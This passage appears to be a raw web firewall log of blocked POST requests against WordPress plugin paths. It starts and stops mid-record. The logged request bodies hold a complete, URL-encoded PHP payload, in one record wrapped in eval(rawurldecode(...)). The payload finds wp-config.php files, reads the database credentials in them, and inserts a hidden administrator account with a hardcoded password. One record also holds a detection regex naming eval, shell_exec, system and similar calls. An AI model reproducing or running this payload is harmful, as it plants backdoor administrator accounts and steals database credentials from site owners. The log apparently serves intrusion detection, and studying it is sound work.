%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php HTTP\/1.1\ncontent-length:12640\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=8daaffd16fd7c7835307f0d6af9d1696; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGSRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\nLQ=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-18 17:28:57","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HJTgNT:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_k